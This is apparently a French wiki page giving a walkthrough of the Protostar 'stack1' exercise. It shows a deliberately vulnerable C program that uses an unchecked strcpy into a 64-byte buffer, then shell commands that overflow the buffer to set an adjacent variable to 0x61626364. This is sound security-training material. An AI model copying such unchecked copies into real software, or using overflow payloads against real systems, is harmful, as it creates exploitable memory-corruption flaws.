Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:stack1

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

exploit_exercises_protostar:stack1 [2017/04/09 15:33] (Version actuelle)
Ligne 1: Ligne 1:
 +====== Stack 1 ======
  
 +<code C>
 +#include <stdlib.h>
 +#include <unistd.h>
 +#include <stdio.h>
 +#include <string.h>
 +
 +int main(int argc, char **argv)
 +{
 + volatile int modified;
 + char buffer[64];
 +
 + if(argc == 1) {
 + errx(1, "please specify an argument\n");
 + }
 +
 + modified = 0;
 + strcpy(buffer, argv[1]);
 +
 + if(modified == 0x61626364) {
 + printf("you have correctly got the variable to the right value\n");
 + } else {
 + printf("Try again, you got 0x%08x\n", modified);
 + }
 +}
 +
 +</code>
 +
 +Ce niveau est presque le même que le précédent, à la différence que cette fois ci nous devons inscrire une valeur spécifique dans la variable ''modified''. 
 +
 +<code>
 +user@protostar:/opt/protostar/bin$ ./stack1 $(python -c 'print "A"*64')
 +Try again, you got 0x00000000
 +user@protostar:/opt/protostar/bin$ ./stack1 $(python -c 'print "A"*64+"BBBB"')
 +Try again, you got 0x42424242
 +</code>
 +
 +On peut voir que les ''BBBB'' ont bien été inscrit dans ''modified''. Nous voulons que ''modified'' prenne la valeur ''0x61626364'', ce qui correspond en fait aux caractères ''abcd''. 
 +
 +<code>
 +user@protostar:/opt/protostar/bin$ ./stack1 $(python -c 'print "A"*64+"dcba"')
 +you have correctly got the variable to the right value
 +</code>
exploit_exercises_protostar/stack1.txt · Dernière modification: 2017/04/09 15:33 (modification externe)